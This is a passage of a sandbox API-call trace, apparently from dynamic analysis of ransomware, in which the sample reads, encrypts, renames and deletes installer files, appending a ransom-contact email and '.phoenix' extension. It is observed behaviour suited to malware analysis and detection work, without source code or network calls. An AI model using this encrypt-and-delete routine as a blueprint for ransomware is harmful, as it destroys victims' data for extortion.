	[0066.663] CryptEncrypt (in: hKey=0xbaa9c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xed10, dwBufLen=0xed10 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xed10) returned 1
	[0066.663] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xed10, lpOverlapped=0x0) returned 1
	[0066.665] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa208) returned 1
	[0066.665] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.665] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0066.665] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0066.665] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0066.665] CryptDestroyKey (hKey=0xbaa9c8) returned 1
	[0066.665] CloseHandle (hObject=0x304) returned 1
	[0066.665] CloseHandle (hObject=0x314) returned 1
	[0066.670] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1
	[0066.672] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0066.672] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.673] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=4015) returned 1
	[0066.673] CloseHandle (hObject=0x314) returned 1
	[0066.673] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 0x80
	[0066.674] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.674] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.674] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.674] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.674] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.674] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa5c8) returned 1
	[0066.674] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.674] ReadFile (in: hFile=0x314, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0xfaf, lpOverlapped=0x0) returned 1
	[0066.787] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xfb0, dwBufLen=0xfb0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xfb0) returned 1
	[0066.787] WriteFile (in: hFile=0x304, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xfb0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xfb0, lpOverlapped=0x0) returned 1
	[0066.788] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa808) returned 1
	[0066.788] CryptSetKeyParam (hKey=0xbaa808, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.789] CryptEncrypt (in: hKey=0xbaa808, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0066.789] CryptDestroyKey (hKey=0xbaa808) returned 1
	[0066.789] WriteFile (in: hFile=0x304, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0066.789] CryptDestroyKey (hKey=0xbaa5c8) returned 1
	[0066.789] CloseHandle (hObject=0x314) returned 1
	[0066.789] CloseHandle (hObject=0x304) returned 1
	[0066.792] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf")) returned 1
	[0066.794] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0066.794] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.794] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=80254) returned 1
	[0066.794] CloseHandle (hObject=0x304) returned 1
	[0066.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 0x80
	[0066.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.798] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0066.798] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.798] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.798] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.799] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa6c8) returned 1
	[0066.799] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.799] ReadFile (in: hFile=0x304, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x1397e, lpOverlapped=0x0) returned 1
	[0066.859] CryptEncrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x13980, dwBufLen=0x13980 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x13980) returned 1
	[0066.859] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x13980, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x13980, lpOverlapped=0x0) returned 1
	[0066.861] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa908) returned 1
	[0066.861] CryptSetKeyParam (hKey=0xbaa908, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.862] CryptEncrypt (in: hKey=0xbaa908, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0066.862] CryptDestroyKey (hKey=0xbaa908) returned 1
	[0066.862] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0066.862] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0066.862] CloseHandle (hObject=0x304) returned 1
	[0066.862] CloseHandle (hObject=0x314) returned 1
	[0066.864] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml")) returned 1
	[0066.865] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0066.865] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.868] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=6309) returned 1
	[0066.868] CloseHandle (hObject=0x314) returned 1
	[0066.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 0x80
	[0066.868] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0066.868] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0066.868] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.868] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0066.869] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0066.872] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa7c8) returned 1
	[0066.872] CryptSetKeyParam (hKey=0xbaa7c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0066.872] ReadFile (in: hFile=0x314, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x18a5, lpOverlapped=0x0) returned 1
	[0067.136] CryptEncrypt (in: hKey=0xbaa7c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x18b0, dwBufLen=0x18b0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x18b0) returned 1
	[0067.136] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x18b0, lpOverlapped=0x0) returned 1
	[0067.138] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa488) returned 1
	[0067.138] CryptSetKeyParam (hKey=0xbaa488, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0067.138] CryptEncrypt (in: hKey=0xbaa488, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0067.138] CryptDestroyKey (hKey=0xbaa488) returned 1
	[0067.138] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0067.138] CryptDestroyKey (hKey=0xbaa7c8) returned 1
	[0067.138] CloseHandle (hObject=0x314) returned 1
	[0067.138] CloseHandle (hObject=0x324) returned 1
	[0067.145] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf")) returned 1
	[0067.146] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0067.146] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0067.146] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=3069) returned 1
	[0067.147] CloseHandle (hObject=0x324) returned 1
	[0067.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 0x80
	[0067.147] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0067.147] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0067.147] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0067.147] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0067.147] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0067.148] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa348) returned 1
	[0067.148] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0067.148] ReadFile (in: hFile=0x324, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0xbfd, lpOverlapped=0x0) returned 1
	[0067.206] CryptEncrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xc00, dwBufLen=0xc00 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xc00) returned 1
	[0067.206] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xc00, lpOverlapped=0x0) returned 1
	[0067.207] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa6c8) returned 1
	[0067.207] CryptSetKeyParam (hKey=0xbaa6c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0067.207] CryptEncrypt (in: hKey=0xbaa6c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0067.207] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0067.207] WriteFile (in: hFile=0x314, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0067.207] CryptDestroyKey (hKey=0xbaa348) returned 1
	[0067.207] CloseHandle (hObject=0x324) returned 1
	[0067.207] CloseHandle (hObject=0x314) returned 1
	[0067.220] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf")) returned 1
	[0067.221] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0067.221] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0067.222] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=79996) returned 1
	[0067.222] CloseHandle (hObject=0x314) returned 1
	[0067.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 0x80
	[0067.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0067.222] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0067.222] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0067.222] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0067.222] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0067.222] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa348) returned 1
	[0067.222] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0067.223] ReadFile (in: hFile=0x314, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x1387c, lpOverlapped=0x0) returned 1
	[0067.538] CryptEncrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x13880, dwBufLen=0x13880 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x13880) returned 1
	[0067.538] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x13880, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x13880, lpOverlapped=0x0) returned 1
	[0067.541] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa208) returned 1
	[0067.541] CryptSetKeyParam (hKey=0xbaa208, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0067.541] CryptEncrypt (in: hKey=0xbaa208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0067.541] CryptDestroyKey (hKey=0xbaa208) returned 1
	[0067.541] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0067.541] CryptDestroyKey (hKey=0xbaa348) returned 1
	[0067.541] CloseHandle (hObject=0x314) returned 1
	[0067.541] CloseHandle (hObject=0x324) returned 1
	[0067.547] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1
	[0067.549] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0067.549] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0067.551] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=39042) returned 1
	[0067.551] CloseHandle (hObject=0x324) returned 1
	[0067.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 0x80
	[0067.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0067.551] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0067.551] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0067.551] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0067.551] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0067.553] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa5c8) returned 1
	[0067.553] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
